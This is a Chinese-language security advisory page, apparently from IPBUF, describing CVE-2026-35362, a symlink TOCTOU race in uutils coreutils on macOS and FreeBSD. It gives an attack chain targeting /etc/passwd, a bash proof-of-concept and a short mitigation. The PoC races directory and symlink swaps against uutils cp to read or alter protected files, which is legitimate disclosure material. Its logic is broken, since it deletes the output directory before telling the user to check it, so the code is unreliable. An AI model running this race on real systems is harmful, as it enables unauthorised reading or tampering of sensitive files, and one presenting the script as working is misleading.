IPBUF安全漏洞报告
English
CVE-2026-35362 CVSS 3.6 低危

CVE-2026-35362 uutils coreutils 非Linux系统TOCTOU漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35362
漏洞类型
TOCTOU竞争条件
CVSS评分
3.6 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

TOCTOURace ConditionuutilscoreutilsSymbolic LinkLocal

漏洞概述

uutils coreutils中的safe_traversal模块旨在通过文件描述符相对系统调用防止TOCTOU符号链接竞争。然而,该保护机制被错误地限制仅在Linux目标上编译生效。在macOS和FreeBSD等其他Unix-like系统上,由于未启用这些底层保护,攻击者可利用符号链接竞争条件,破坏目录遍历操作的安全性,导致潜在的文件读取或篡改。

技术细节

该漏洞的核心在于uutils coreutils项目对于操作系统特定特性的条件编译处理不当。safe_traversal模块依赖Linux特有的文件描述符相对系统调用(如openat2)来确保文件路径的“检查”与“使用”指向同一资源,从而防御TOCTOU攻击。但由于代码逻辑错误,该安全机制仅在Linux平台启用。当该工具运行在macOS或FreeBSD等系统时,相关保护代码被跳过,目录遍历回退到不安全的传统模式。攻击者若拥有本地低权限账户,可精心构造目录和符号链接,并在系统执行核心工具(如cp、mv等)的关键间隙进行竞态切换,诱骗进程操作本不应访问的敏感文件,实现权限提升或信息泄露。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者在目标系统(非Linux系统,如macOS或FreeBSD)上获得本地低权限用户访问。
STEP 2
步骤2:环境准备
攻击者创建一个合法的目录和一个指向敏感文件(如/etc/passwd)的符号链接。
STEP 3
步骤3:触发竞态
攻击者运行脚本,在系统执行目录遍历操作(如由管理员运行的脚本调用uutils cp或mv)的极短时间内,不断交换目录和符号链接。
STEP 4
步骤4:利用漏洞
由于safe_traversal保护失效,uutils工具在检查后、使用前的时间窗口内解析了符号链接,导致敏感文件被读取或篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35362: TOCTOU race condition in uutils coreutils on non-Linux systems TARGET_DIR="safe_dir" SYMLINK_TARGET="/etc/passwd" # Target sensitive file SYMLINK_NAME="link_dir" DESTINATION="output_dir" # Setup environment mkdir -p "$TARGET_DIR" mkdir -p "$DESTINATION" ln -s "$SYMLINK_TARGET" "$SYMLINK_NAME" echo "[+] Starting race condition simulation..." # Attacker process: Swap directories rapidly to exploit the window while true; do mv "$TARGET_DIR" "tmp_dir" mv "$SYMLINK_NAME" "$TARGET_DIR" mv "tmp_dir" "$SYMLINK_NAME" done & ATTACKER_PID=$! # Victim process: Run uutils command (e.g., cp) repeatedly echo "[+] Running vulnerable uutils command..." for i in {1..100}; do # On macOS/FreeBSD, this might follow the symlink to /etc/passwd # due to missing safe_traversal protections uutils-cp -r "$TARGET_DIR"/* "$DESTINATION" 2>/dev/null & done # Cleanup sleep 2 kill $ATTACKER_PID 2>/dev/null rm -rf "$TARGET_DIR" "$SYMLINK_NAME" "tmp_dir" "$DESTINATION" echo "[+] Check $DESTINATION for potential sensitive file leakage."

影响范围

uutils coreutils < 0.6.0

防御指南

临时缓解措施
在非Linux系统(如macOS、FreeBSD)上,建议避免在特权操作中使用旧版本的uutils coreutils,或确保其运行在受限的沙盒环境中,以降低符号链接竞争带来的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表